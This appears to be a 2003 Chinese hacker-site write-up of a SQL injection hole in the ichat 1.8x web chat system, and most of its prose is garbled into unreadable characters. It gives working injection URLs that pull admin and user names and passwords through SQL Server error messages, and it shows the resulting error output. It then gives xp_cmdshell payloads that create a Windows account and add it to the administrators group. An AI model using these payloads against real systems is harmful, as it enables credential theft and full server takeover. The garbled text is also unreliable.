ichataspģSQL injection©
漰ichat1.81 ichat1.85 ichat1.86
ichatǹڱȽеİٱ
userboxrun.aspuserboxsend1.aspļsql ע©
ûύ
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 and (select top 1 username from admin)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 and (select top 1 pass from admin)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 and (select top 1 username from userinfo)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 and (select top 1 userpassword from userinfo)
һϵurlܵõҹԱûƺ
ûرϸʾsqlύ
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 and (select top 1 username from admin)=5
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 and (select top 1 pass from admin)=5
urlԵõʾ

Microsoft OLE DB Provider for SQL Server  '80040e07' 

 varchar ֵ 'admin' תΪΪ int ʱ﷨ 

/shop/userboxrun.asp27

Microsoft OLE DB Provider for SQL Server  '80040e07' 

 varchar ֵ 'ichat' תΪΪ int ʱ﷨ 

/shop/userboxrun.asp27 

ichatΪԱ
̲.
Σյ,ûɾxp_cmdshell̵sqlϣichat
ݿsqlûsaȨ޵,ύurl:
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;exec master.dbo.xp_cmdshell "net user xiaolu xiaoxue /add";--
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;exec master.dbo.xp_cmdshell "net localgroup administrators xiaolu /add";--
ûΪ:xiaolu,Ϊ:xiaoxueķԱ
Ǻ ô


by С· 2003


--------------
      http://www.heibai.net       
      ڰ&ռ       

